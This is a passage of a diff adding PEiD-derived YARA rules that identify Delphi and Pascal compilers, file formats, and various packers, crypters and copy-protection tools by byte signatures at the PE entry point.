+        ep_only = "false"
+    strings:
+        $a = {55 8B EC 83 C4 F0 B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? E8}
+    condition:
+        $a
+}
+
+rule PEiD_00348_Borland_Delphi_v6_0___v7_0_
+{
+    meta:
+        description = "[Borland Delphi v6.0 - v7.0]"
+        ep_only = "true"
+    strings:
+        $a = {55 8B EC 83 C4 F0 B8 ?? ?? ?? ?? E8 ?? ?? FB FF A1 ?? ?? ?? ?? 8B ?? E8 ?? ?? FF FF 8B 0D ?? ?? ?? ?? A1 ?? ?? ?? ?? 8B 00 8B 15 ?? ?? ?? ?? E8 ?? ?? FF FF A1 ?? ?? ?? ?? 8B ?? E8 ?? ?? FF FF E8 ?? ?? FB FF 8D 40}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00349_Borland_Delphi_v6_0___v7_0_
+{
+    meta:
+        description = "[Borland Delphi v6.0 - v7.0]"
+        ep_only = "true"
+    strings:
+        $a = {BA ?? ?? ?? ?? 83 7D 0C 01 75 ?? 50 52 C6 05 ?? ?? ?? ?? ?? 8B 4D 08 89 0D ?? ?? ?? ?? 89 4A 04}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00350_Borland_Delphi_v6_0_KOL_
+{
+    meta:
+        description = "[Borland Delphi v6.0 KOL]"
+        ep_only = "true"
+    strings:
+        $a = {55 8B EC 83 C4 F0 B8 ?? ?? 40 00 E8 ?? ?? FF FF A1 ?? 72 40 00 33 D2 E8 ?? ?? FF FF A1 ?? 72 40 00 8B 00 83 C0 14 E8 ?? ?? FF FF E8 ?? ?? FF FF}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00351_Borland_Delphi_v6_0_
+{
+    meta:
+        description = "[Borland Delphi v6.0]"
+        ep_only = "true"
+    strings:
+        $a = {53 8B D8 33 C0 A3 ?? ?? ?? ?? 6A 00 E8 ?? ?? ?? FF A3 ?? ?? ?? ?? A1 ?? ?? ?? ?? A3 ?? ?? ?? ?? 33 C0 A3 ?? ?? ?? ?? 33 C0 A3 ?? ?? ?? ?? E8}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00352_Borland_Delphi_v6_0_
+{
+    meta:
+        description = "[Borland Delphi v6.0]"
+        ep_only = "true"
+    strings:
+        $a = {55 8B EC 83 C4 F0 B8 ?? ?? 45 00 E8 ?? ?? ?? FF A1 ?? ?? 45 00 8B 00 E8 ?? ?? FF FF 8B 0D}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00353_Borland_Pascal_v7_0_for_Windows_
+{
+    meta:
+        description = "[Borland Pascal v7.0 for Windows]"
+        ep_only = "true"
+    strings:
+        $a = {9A FF FF 00 00 9A FF FF 00 00 55 89 E5 31 C0 9A FF FF 00 00}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00354_Borland_Pascal_v7_0_Protected_Mode_
+{
+    meta:
+        description = "[Borland Pascal v7.0 Protected Mode]"
+        ep_only = "true"
+    strings:
+        $a = {B8 ?? ?? BB ?? ?? 8E D0 8B E3 8C D8 8E C0 0E 1F A1 ?? ?? 25 ?? ?? A3 ?? ?? E8 ?? ?? 83 3E ?? ?? ?? 75}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00355_Borland_Pascal_v7_0_
+{
+    meta:
+        description = "[Borland Pascal v7.0]"
+        ep_only = "true"
+    strings:
+        $a = {B8 ?? ?? 8E D8 8C ?? ?? ?? 8C D3 8C C0 2B D8 8B C4 05 ?? ?? C1 ?? ?? 03 D8 B4 ?? CD 21 0E}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00356_by_Central_Point_Software_
+{
+    meta:
+        description = "[by Central Point Software]"
+        ep_only = "true"
+    strings:
+        $a = {50 51 52 56 57 8B EB 1E 2E}
+    condition:
+        $a at pe.entry_point
+}
+rule PEiD_00357_C_I_Crypt_V0_1____FearlesS_
+{
+    meta:
+        description = "[C.I Crypt V0.1 -> FearlesS]"
+        ep_only = "true"
+    strings:
+        $a = {00 00 00 00 00 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 6B 65 72 6E 65 6C 33 32 2E 64 6C 6C 00 00 47 65 74 50 72 6F 63 41 64 64 72}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00358_C_I_Crypt_V0_2____FearlesS_
+{
+    meta:
+        description = "[C.I Crypt V0.2 -> FearlesS]"
+        ep_only = "true"
+    strings:
+        $a = {00 00 00 00 00 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 00 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 00 00 00 00 6B 65 72 6E 65 6C 33 32 2E 64 6C 6C 00 00 47 65 74}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00359_CA_Visual_Objects_2_0___2_5_
+{
+    meta:
+        description = "[CA Visual Objects 2.0 - 2.5]"
+        ep_only = "true"
+    strings:
+        $a = {89 25 ?? ?? ?? ?? 33 ED 55 8B EC E8 ?? ?? ?? ?? 8B D0 81 E2 FF 00 00 00 89 15 ?? ?? ?? ?? 8B D0 C1 EA 08 81 E2 FF 00 00 00 A3 ?? ?? ?? ?? D1 E0 0F 93 C3 33 C0 8A C3 A3 ?? ?? ?? ?? 68 FF 00 00 00 E8 ?? ?? ?? ?? 6A 00 E8 ?? ?? ?? ?? A3 ?? ?? ?? ?? BB}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00360_CA_Visual_Objects_2_0___2_5_
+{
+    meta:
+        description = "[CA Visual Objects 2.0 - 2.5]"
+        ep_only = "true"
+    strings:
+        $a = {89 25 ?? ?? ?? ?? 33 ED 55 8B EC E8 ?? ?? ?? ?? 8B D0 81 E2 FF 00 00 00 89 15 ?? ?? ?? ?? 8B D0 C1 EA 08 81 E2 FF 00 00 00 A3 ?? ?? ?? ?? D1 E0 0F 93 C3 33 C0 8A C3 A3 ?? ?? ?? ?? 68 FF 00 00 00 E8 ?? ?? ?? ?? 6A 00 E8 ?? ?? ?? ?? A3 ?? ?? ?? ?? BB ?? ?? ?? ?? C7 03 44 00 00 00}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00361_CALS_Raster_graphics_format_
+{
+    meta:
+        description = "[CALS Raster graphics format]"
+        ep_only = "false"
+    strings:
+        $a = {73 72 63 64 6F 63 69 64 3A 20}
+    condition:
+        $a
+}
+
+rule PEiD_00362_Can2Exe_v0_01_
+{
+    meta:
+        description = "[Can2Exe v0.01]"
+        ep_only = "true"
+    strings:
+        $a = {0E 1F 0E 07 E8 ?? ?? E8 ?? ?? 3A C6 73}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00363_CAN2EXE_v0_01_
+{
+    meta:
+        description = "[CAN2EXE v0.01]"
+        ep_only = "true"
+    strings:
+        $a = {26 8E 06 ?? ?? B9 ?? ?? 33 C0 8B F8 F2 AE E3 ?? 26 38 05 75 ?? EB ?? E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00364_CauseWay_DOS_Extender_v3_25_
+{
+    meta:
+        description = "[CauseWay DOS Extender v3.25]"
+        ep_only = "true"
+    strings:
+        $a = {FA 16 1F 26 ?? ?? ?? 83 ?? ?? 8E D0 FB 06 16 07 BE ?? ?? 8B FE B9 ?? ?? F3 A4 07}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00365_CC_v2_61_Beta_
+{
+    meta:
+        description = "[CC v2.61 Beta]"
+        ep_only = "true"
+    strings:
+        $a = {BA ?? ?? B4 30 CD 21 3C 02 73 ?? 33 C0 06 50 CB}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00366_CD_Cops_II_
+{
+    meta:
+        description = "[CD-Cops II]"
+        ep_only = "true"
+    strings:
+        $a = {53 60 BD ?? ?? ?? ?? 8D 45 ?? 8D 5D ?? E8 ?? ?? ?? ?? 8D}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00367_CDS_SS_1_0_beta1____CyberDoom_
+{
+    meta:
+        description = "[CDS SS 1.0 beta1 -> CyberDoom]"
+        ep_only = "true"
+    strings:
+        $a = {60 E8 00 00 00 00 5D 81 ED CA 47 40 00 FF 74 24 20 E8 D3 03 00 00 0B C0 0F 84 13 03 00 00 89 85 B8 4E 40 00 66 8C D8 A8 04 74 0C C7 85 8C 4E 40 00 01 00 00 00 EB 12 64 A1 30 00 00 00 0F B6 40 02 0A C0 0F 85 E8 02 00 00 8D 85 F6 4C 40 00 50 FF B5 B8 4E 40 00 E8 FC 03 00 00 0B C0 0F 84 CE 02 00 00 E8 1E 03 00 00 89 85 90 4E 40 00 8D 85 03 4D 40 00 50 FF B5 B8 4E 40 00 E8 D7 03 00 00 0B C0 0F 84 A9 02 00 00 E8 F9 02 00 00 89 85 94 4E 40 00 8D 85 12 4D 40 00 50}
+    condition:
+        $a at pe.entry_point
+}
+rule PEiD_00368_CDS_SS_v1_0_Beta_1____CyberDoom___Team_X_
+{
+    meta:
+        description = "[CDS SS v1.0 Beta 1 -> CyberDoom / Team-X]"
+        ep_only = "true"
+    strings:
+        $a = {60 E8 00 00 00 00 5D 81 ED CA 47 40 00 FF 74 24 20 E8 D3 03 00 00 0B C0 0F 84 13 03 00 00 89 85 B8 4E 40 00 66 8C D8 A8 04 74 0C C7 85 8C 4E 40 00 01 00 00 00 EB 12 64 A1 30 00 00 00 0F B6 40 02 0A C0 0F 85 E8 02 00 00 8D 85 F6 4C 40 00 50 FF B5 B8 4E 40 00 E8 FC 03 00 00 0B C0 0F 84 CE 02 00 00 E8 1E 03 00 00 89 85 90 4E 40 00 8D 85 03 4D 40 00 50 FF B5 B8}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00369_Celsius_Crypt_2_1____Z3r0_
+{
+    meta:
+        description = "[Celsius Crypt 2.1 -> Z3r0]"
+        ep_only = "true"
+    strings:
+        $a = {55 89 E5 83 EC 08 C7 04 24 01 00 00 00 FF 15 84 92 44 00 E8 C8 FE FF FF 90 8D B4 26 00 00 00 00 55 89 E5 83 EC 08 C7 04 24 02 00 00 00 FF 15 84 92 44 00 E8 A8 FE FF FF 90 8D B4 26 00 00 00 00 55 8B 0D C4 92 44 00 89 E5 5D FF E1 8D 74 26 00 55 8B 0D AC 92 44 00 89 E5 5D FF E1 90 90 90 90 55 89 E5 5D E9 77 C2 00 00 90 90 90 90 90 90 90 55 89 E5 83 EC 28 8B 45 10 89 04 24 E8 3F 14 01 00 48 89 45 FC 8B 45 0C 48 89 45 F4 8D 45 F4 89 44 24 04 8D 45 FC 89 04 24 E8 12 A3 03 00 8B 00 89 45 F8 8B 45 FC 89 45 F0 C6 45 EF 01 C7 45 E8 00 00 00 00 8B 45 E8 3B 45 F8 73 39 80 7D EF 00 74 33 8B 45 F0 89 44 24 04 8B 45 10 89 04 24 E8 1C 1A 01 00 89 C1 8B 45 08 8B 55 E8 01 C2 0F B6 01 3A 02 0F 94 C0 88 45 EF 8D 45 F0 FF 08 8D 45 E8 FF 00 EB BF 83 7D F0 00 74 34 80 7D EF 00 74 2E 8B 45 F0 89 44 24 04 8B 45 10 89 04 24 E8 DD 19 01 00 89 C1 8B 45 08 8B 55 F8 01 C2 0F B6 01 3A 02 0F 94 C0 88 45 EF 8D 45 F0 FF 08 EB C6 C7 44 24 04 00 00 00 00 8B 45 10 89 04 24 E8 AE 19 01 00 89 C1 8B 45 08 8B 55 F8 01 C2 0F B6 01 3A 02 7F 0C 0F B6 45 EF 83 E0 01 88 45 E7 EB 04 C6 45 E7 00 0F B6 45 E7 88 45 EF 0F B6 45 EF C9 C3}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00370_Celsius_Crypt_2_1____Z3r0_
+{
+    meta:
+        description = "[Celsius Crypt 2.1 -> Z3r0]"
+        ep_only = "false"
+    strings:
+        $a = {55 89 E5 83 EC 28 8B 45 10 89 04 24 E8 3F 14 01 00 48 89 45 FC 8B 45 0C 48 89 45 F4 8D 45 F4 89 44 24 04 8D 45 FC 89 04 24 E8 12 A3 03 00 8B 00 89 45 F8 8B 45 FC 89 45 F0 C6 45 EF 01 C7 45 E8 00 00 00 00 8B 45 E8 3B 45 F8 73 39 80 7D EF 00 74 33 8B 45 F0 89 44 24 04 8B 45 10 89 04 24 E8 1C 1A 01 00 89 C1 8B 45 08 8B 55 E8 01 C2 0F B6 01 3A 02 0F 94 C0 88 45 EF 8D 45 F0 FF 08 8D 45 E8 FF 00 EB BF 83 7D F0 00 74 34 80 7D EF 00 74 2E 8B 45 F0 89 44 24 04 8B 45 10 89 04 24 E8 DD 19 01 00 89 C1 8B 45 08 8B 55 F8 01 C2 0F B6 01 3A 02 0F 94 C0 88 45 EF 8D 45 F0 FF 08 EB C6 C7 44 24 04 00 00 00 00 8B 45 10 89 04 24 E8 AE 19 01 00 89 C1 8B 45 08 8B 55 F8 01 C2 0F B6 01 3A 02 7F 0C 0F B6 45 EF 83 E0 01 88 45 E7 EB 04 C6 45 E7 00 0F B6 45 E7 88 45 EF 0F B6 45 EF C9 C3}
+    condition:
+        $a
+}
+
+rule PEiD_00371_CERBERUS_v2_0_
+{
+    meta:
+        description = "[CERBERUS v2.0]"
+        ep_only = "true"
+    strings:
+        $a = {9C 2B ED 8C ?? ?? 8C ?? ?? FA E4 ?? 88 ?? ?? 16 07 BF ?? ?? 8E DD 9B F5 B9 ?? ?? FC F3 A5}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00372_CExe_v1_0a_
+{
+    meta:
+        description = "[CExe v1.0a]"
+        ep_only = "true"
+    strings:
+        $a = {55 8B EC 81 EC 0C 02 ?? ?? 56 BE 04 01 ?? ?? 8D 85 F8 FE FF FF 56 50 6A ?? FF 15 54 10 40 ?? 8A 8D F8 FE FF FF 33 D2 84 C9 8D 85 F8 FE FF FF 74 16}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00373_CGM_Graphics_format_
+{
+    meta:
+        description = "[CGM Graphics format]"
+        ep_only = "false"
+    strings:
+        $a = {00 2A 08 48 69 4A 61 61 6B 20 32}
+    condition:
+        $a
+}
+
+rule PEiD_00374_CHECKPRG__c__1992_
+{
+    meta:
+        description = "[CHECKPRG (c) 1992]"
+        ep_only = "true"
+    strings:
+        $a = {33 C0 BE ?? ?? 8B D8 B9 ?? ?? BF ?? ?? BA ?? ?? 47 4A 74}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00375_ChinaProtect____dummy___Sign_by_fly_
+{
+    meta:
+        description = "[ChinaProtect -> dummy ! Sign by fly]"
+        ep_only = "false"
+    strings:
+        $a = {C3 E8 ?? ?? ?? ?? B9 ?? ?? ?? ?? E8 ?? ?? ?? ?? FF 30 C3 B9 ?? ?? ?? ?? E8 ?? ?? ?? ?? FF 30 C3 B9 ?? ?? ?? ?? E8 ?? ?? ?? ?? FF 30 C3 B9 ?? ?? ?? ?? E8 ?? ?? ?? ?? FF 30 C3 56 8B ?? ?? ?? 6A 40 68 00 10 00 00 8D ?? ?? 50 6A 00 E8 ?? ?? ?? ?? 89 30 83 C0 04 5E C3 8B 44 ?? ?? 56 8D ?? ?? 68 00 40 00 00 FF 36 56 E8 ?? ?? ?? ?? 68 00 80 00 00 6A 00 56 E8 ?? ?? ?? ?? 5E C3}
+    condition:
+        $a
+}
+
+rule PEiD_00376_ChSfx__small__v1_1_
+{
+    meta:
+        description = "[ChSfx (small) v1.1]"
+        ep_only = "true"
+    strings:
+        $a = {BA ?? ?? E8 ?? ?? 8B EC 83 EC ?? 8C C8 BB ?? ?? B1 ?? D3 EB 03 C3 8E D8 05 ?? ?? 89}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00377_CICompress_1_0_
+{
+    meta:
+        description = "[CICompress 1.0]"
+        ep_only = "false"
+    strings:
+        $a = {6A 04 68 00 10 00 00 FF 35 9C 14 40 00 6A 00 FF 15 38 10 40 00 A3 FC 10 40 00 97 BE 00 20 40 00 E8 71 00 00 00 3B 05 9C 14 40 00 75 61 6A 00 6A 20 6A 02 6A 00 6A 03 68 00 00 00 C0 68 94 10 40 00 FF 15 2C 10 40 00 A3 F8 10 40 00 6A 00 68 F4 10 40 00 FF 35}
+    condition:
+        $a
+}
+rule PEiD_00378_CICompress_v1_0_
+{
+    meta:
+        description = "[CICompress v1.0]"
+        ep_only = "true"
+    strings:
+        $a = {6A 04 68 00 10 00 00 FF 35 9C 14 40 00 6A 00 FF 15 38 10 40 00 A3 FC 10 40 00 97 BE 00 20 40 00 E8 71 00 00 00 3B 05 9C 14 40 00 75 61 6A 00 6A 20 6A 02 6A 00 6A 03 68 00 00 00 C0 68 94 10 40 00 FF 15 2C 10 40 00 A3 F8 10 40 00 6A 00 68 F4 10 40 00 FF 35 9C 14 40 00 FF 35 FC 10 40 00 FF 35 F8 10 40 00 FF 15 34 10 40 00 FF 35 F8 10 40 00 FF 15 30 10 40 00 68 00 40 00 00 FF 35 9C 14 40 00 FF 35 FC 10 40 00 FF 15 3C 10 40 00 6A 00 FF 15 28 10 40 00 60 33 DB 33 C9 E8 7F 00 00 00 73 0A B1 08 E8 82 00 00 00 AA EB EF E8 6E 00 00 00 73 14 B1 04 E8 71 00 00 00 3C 00 74 EB 56 8B F7 2B F0 A4 5E EB D4 33 ED E8 51 00 00 00 72 10 B1 02 E8 54 00 00 00 3C 00 74 3B 8B E8 C1 C5 08 B1 08 E8 44 00 00 00 0B C5 50 33 ED E8 2E 00 00 00 72 0C B1 02 E8 31 00 00 00 8B E8 C1 C5 08}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00379_CipherWall_Self_Extrator_Decryptor__Console__1_5_
+{
+    meta:
+        description = "[CipherWall Self-Extrator/Decryptor (Console) 1.5]"
+        ep_only = "false"
+    strings:
+        $a = {90 61 BE 00 10 42 00 8D BE 00 00 FE FF C7 87 C0 20 02 00 0B 6E 5B 9B 57 83 CD FF EB 0E 90 90 90 90 8A 06 46 88 07 47 01 DB 75 07 8B 1E 83 EE FC 11 DB 72 ED B8 01 00 00 00 01 DB 75 07 8B 1E 83 EE FC 11 DB 11 C0 01 DB 73 EF 75 09 8B 1E 83 EE FC 11 DB 73 E4}
+    condition:
+        $a
+}
+
+rule PEiD_00380_CipherWall_Self_Extrator_Decryptor__Console__v1_5_
+{
+    meta:
+        description = "[CipherWall Self-Extrator/Decryptor (Console) v1.5]"
+        ep_only = "true"
+    strings:
+        $a = {90 61 BE 00 10 42 00 8D BE 00 00 FE FF C7 87 C0 20 02 00 0B 6E 5B 9B 57 83 CD FF EB 0E 90 90 90 90 8A 06 46 88 07 47 01 DB 75 07 8B 1E 83 EE FC 11 DB 72 ED B8 01 00 00 00 01 DB 75 07 8B 1E 83 EE FC 11 DB 11 C0 01 DB 73 EF 75 09 8B 1E 83 EE FC 11 DB 73 E4 31 C9 83 E8 03 72 0D C1 E0 08 8A 06 46 83 F0 FF 74 74 89 C5 01 DB 75 07 8B 1E 83 EE FC 11 DB 11 C9 01 DB 75 07 8B 1E 83 EE FC 11 DB 11 C9 75 20 41 01 DB 75 07 8B 1E 83 EE FC 11 DB 11 C9 01 DB 73 EF 75 09 8B 1E 83 EE FC 11 DB 73 E4 83 C1 02 81 FD 00 F3 FF FF 83 D1 01 8D 14 2F 83 FD FC 76 0F 8A 02 42 88 07 47 49 75 F7 E9 63 FF FF FF 90 8B 02 83 C2 04 89 07 83 C7 04 83 E9 04 77 F1 01 CF E9 4C FF FF FF 5E 89 F7 B9 12 10 00 00 8A 07 47 2C E8 3C 01 77 F7 80 3F 06 75 F2 8B 07 8A 5F 04 66 C1 E8 08 C1 C0 10 86 C4}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00381_CipherWall_Self_Extrator_Decryptor__GUI__1_5_
+{
+    meta:
+        description = "[CipherWall Self-Extrator/Decryptor (GUI) 1.5]"
+        ep_only = "false"
+    strings:
+        $a = {90 61 BE 00 10 42 00 8D BE 00 00 FE FF C7 87 C0 20 02 00 F9 89 C7 6A 57 83 CD FF EB 0E 90 90 90 90 8A 06 46 88 07 47 01 DB 75 07 8B 1E 83 EE FC 11 DB 72 ED B8 01 00 00 00 01 DB 75 07 8B 1E 83 EE FC 11 DB 11 C0 01 DB 73 EF 75 09 8B 1E 83 EE FC 11 DB 73 E4}
+    condition:
+        $a
+}
+
+rule PEiD_00382_CipherWall_Self_Extrator_Decryptor__GUI__v1_5_
+{
+    meta:
+        description = "[CipherWall Self-Extrator/Decryptor (GUI) v1.5]"
+        ep_only = "true"
+    strings:
+        $a = {90 61 BE 00 10 42 00 8D BE 00 00 FE FF C7 87 C0 20 02 00 F9 89 C7 6A 57 83 CD FF EB 0E 90 90 90 90 8A 06 46 88 07 47 01 DB 75 07 8B 1E 83 EE FC 11 DB 72 ED B8 01 00 00 00 01 DB 75 07 8B 1E 83 EE FC 11 DB 11 C0 01 DB 73 EF 75 09 8B 1E 83 EE FC 11 DB 73 E4 31 C9 83 E8 03 72 0D C1 E0 08 8A 06 46 83 F0 FF 74 74 89 C5 01 DB 75 07 8B 1E 83 EE FC 11 DB 11 C9 01 DB 75 07 8B 1E 83 EE FC 11 DB 11 C9 75 20 41 01 DB 75 07 8B 1E 83 EE FC 11 DB 11 C9 01 DB 73 EF 75 09 8B 1E 83 EE FC 11 DB 73 E4 83 C1 02 81 FD 00 F3 FF FF 83 D1 01 8D 14 2F 83 FD FC 76 0F 8A 02 42 88 07 47 49 75 F7 E9 63 FF FF FF 90 8B 02 83 C2 04 89 07 83 C7 04 83 E9 04 77 F1 01 CF E9 4C FF FF FF 5E 89 F7 B9 52 10 00 00 8A 07 47 2C E8 3C 01 77 F7 80 3F 0E 75 F2 8B 07 8A 5F 04 66 C1 E8 08 C1 C0 10 86 C4}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00383_Code_Virtualizer_V1_3_1_0____Oreans_Technologies___Sign_by_fly_
+{
+    meta:
+        description = "[Code Virtualizer V1.3.1.0 -> Oreans Technologies ! Sign by fly]"
+        ep_only = "false"
+    strings:
+        $a = {60 9C FC E8 00 00 00 00 5F 81 EF ?? ?? ?? ?? 8B C7 81 C7 ?? ?? ?? ?? 3B 47 2C 75 02 EB 2E 89 47 2C B9 A7 00 00 00 EB 05 01 44 8F ?? 49 0B C9 75 F7 83 7F 40 00 74 15 8B 77 40 03 F0 EB 09 8B 1E 03 D8 01 03 83 C6 04 83 3E 00 75 F2 8B 74 24 24 8B DE 03 F0 B9 01 00 00 00 33 C0 F0 0F B1 4F 30 75 F7 AC}
+    condition:
+        $a
+}
+
+rule PEiD_00384_Code_Virtualizer_V1_3_1_0____Oreans_Technologies_
+{
+    meta:
+        description = "[Code Virtualizer V1.3.1.0 -> Oreans Technologies]"
+        ep_only = "true"
+    strings:
+        $a = {60 9C FC E8 00 00 00 00 5F 81 EF ?? ?? ?? ?? 8B C7 81 C7 ?? ?? ?? ?? 3B 47 2C 75 02 EB 2E 89 47 2C B9 A7 00 00 00 EB 05 01 44 8F ?? 49 0B C9 75 F7 83 7F 40 00 74 15 8B 77 40 03 F0 EB 09 8B 1E 03 D8 01 03 83 C6 04 83 3E 00 75 F2 8B 74 24 24 8B DE 03 F0 B9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00385_Code_Lock_vx_x_
+{
+    meta:
+        description = "[Code-Lock vx.x]"
+        ep_only = "true"
+    strings:
+        $a = {43 4F 44 45 2D 4C 4F 43 4B 2E 4F 43 58 00}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00386_CodeCrypt_v0_14b_
+{
+    meta:
+        description = "[CodeCrypt v0.14b]"
+        ep_only = "true"
+    strings:
+        $a = {E9 C5 02 00 00 EB 02 83 3D 58 EB 02 FF 1D 5B EB 02 0F C7 5F}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00387_CodeCrypt_v0_15b_
+{
+    meta:
+        description = "[CodeCrypt v0.15b]"
+        ep_only = "true"
+    strings:
+        $a = {E9 31 03 00 00 EB 02 83 3D 58 EB 02 FF 1D 5B EB 02 0F C7 5F}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00388_CodeCrypt_v0_164_
+{
+    meta:
+        description = "[CodeCrypt v0.164]"
+        ep_only = "true"
+    strings:
+        $a = {E9 2E 03 00 00 EB 02 83 3D 58 EB 02 FF 1D 5B EB 02 0F C7 5F EB 03 FF 1D 34}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00389_CodeCrypt_v0_16b___v0_163b_
+{
+    meta:
+        description = "[CodeCrypt v0.16b - v0.163b]"
+        ep_only = "true"
+    strings:
+        $a = {E9 2E 03 00 00 EB 02 83 3D 58 EB 02 FF 1D 5B EB 02 0F C7 5F}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00390_codeCrypter_0_31____Tibbar_
+{
+    meta:
+        description = "[codeCrypter 0.31 -> Tibbar]"
+        ep_only = "true"
+    strings:
+        $a = {50 58 53 5B 90 BB ?? ?? ?? 00 FF E3 90 CC CC CC 55 8B EC 5D C3 CC CC CC CC CC CC CC CC CC CC CC}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00391_codeCrypter_0_31_
+{
+    meta:
+        description = "[codeCrypter 0.31]"
+        ep_only = "true"
+    strings:
+        $a = {50 58 53 5B 90 BB ?? ?? 40 00 FF E3 90 CC CC CC 55 8B EC 5D C3}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00392_codeCrypter_0_31_
+{
+    meta:
+        description = "[codeCrypter 0.31]"
+        ep_only = "false"
+    strings:
+        $a = {50 58 53 5B 90 BB ?? ?? 40 00 FF E3 90 CC CC CC 55 8B EC 5D C3 CC CC CC CC CC CC CC CC CC CC CC}
+    condition:
+        $a
+}
+
+rule PEiD_00393_Com4mail_v1_0_
+{
+    meta:
+        description = "[Com4mail v1.0]"
+        ep_only = "true"
+    strings:
+        $a = {42 45 47 49 4E 3D 3D 3D 74 66 75 64 23 6F 66 5F 43 6F 6D 34 4D 61 69 6C 5F 66 69 6C 65 23 0D 0A}
+    condition:
+        $a at pe.entry_point
+}
+
+
+rule PEiD_00394_COMPACK_v4_5__2__
+{
+    meta:
+        description = "[COMPACK v4.5 (2)]"
+        ep_only = "true"
+    strings:
+        $a = {BE ?? ?? E8 ?? ?? 5D 83 ?? ?? 55 50 53 51 52 0E 07 0E 1F 8B CE}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00395_COMPACK_v5_1_
+{
+    meta:
+        description = "[COMPACK v5.1]"
+        ep_only = "true"
+    strings:
+        $a = {BD ?? ?? 50 06 8C CB 03 DD 8C D2 4B 8E DB BE ?? ?? BF ?? ?? 8E C2 B9 ?? ?? F3 A5 4A 4D 75 ?? 8B F7 8E DA 0E 07 06 16}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00396_COP_v1_0__c__1988_
+{
+    meta:
+        description = "[COP v1.0 (c) 1988]"
+        ep_only = "true"
+    strings:
+        $a = {BF ?? ?? BE ?? ?? B9 ?? ?? AC 32 ?? ?? ?? AA E2 ?? 8B ?? ?? ?? EB ?? 90}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00397_Copy_Protector_v2_0_
+{
+    meta:
+        description = "[Copy Protector v2.0]"
+        ep_only = "true"
+    strings:
+        $a = {2E A2 ?? ?? 53 51 52 1E 06 B4 ?? 1E 0E 1F BA ?? ?? CD 21 1F}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00398_CopyControl_v3_03_
+{
+    meta:
+        description = "[CopyControl v3.03]"
+        ep_only = "true"
+    strings:
+        $a = {CC 90 90 EB 0B 01 50 51 52 53 54 61 33 61 2D 35 CA D1 07 52 D1 A1 3C}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00399_CopyMinder____Microcosm_Ltd___Sign_by_fly_
+{
+    meta:
+        description = "[CopyMinder -> Microcosm.Ltd ! Sign by fly]"
+        ep_only = "true"
+    strings:
+        $a = {83 25 ?? ?? ?? ?? EF 6A 00 E8 ?? ?? ?? ?? E8 ?? ?? ?? ?? CC FF 25 ?? ?? ?? ?? FF 25 ?? ?? ?? ?? FF 25 ?? ?? ?? ?? FF 25 ?? ?? ?? ?? FF 25 ?? ?? ?? ?? FF 25 ?? ?? ?? ?? FF 25 ?? ?? ?? ?? FF 25 ?? ?? ?? ?? FF 25 ?? ?? ?? ?? FF 25 ?? ?? ?? ?? FF 25 ?? ?? ?? ?? FF 25 ?? ?? ?? ?? FF 25 ?? ?? ?? ?? FF 25 ?? ?? ?? ?? FF 25 ?? ?? ?? ?? FF 25 ?? ?? ?? ?? FF 25 ?? ?? ?? ?? FF 25}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00400_CopyMinder____Microcosm_Ltd_
+{
+    meta:
+        description = "[CopyMinder -> Microcosm.Ltd]"
+        ep_only = "true"
+    strings:
+        $a = {83 25 ?? ?? ?? ?? EF 6A 00 E8 ?? ?? ?? ?? E8 ?? ?? ?? ?? CC FF 25 ?? ?? ?? ?? FF 25 ?? ?? ?? ?? FF 25 ?? ?? ?? ?? FF 25 ?? ?? ?? ?? FF 25 ?? ?? ?? ?? FF 25 ?? ?? ?? ?? FF 25 ?? ?? ?? ?? FF 25 ?? ?? ?? ?? FF 25 ?? ?? ?? ?? FF 25 ?? ?? ?? ?? FF 25}
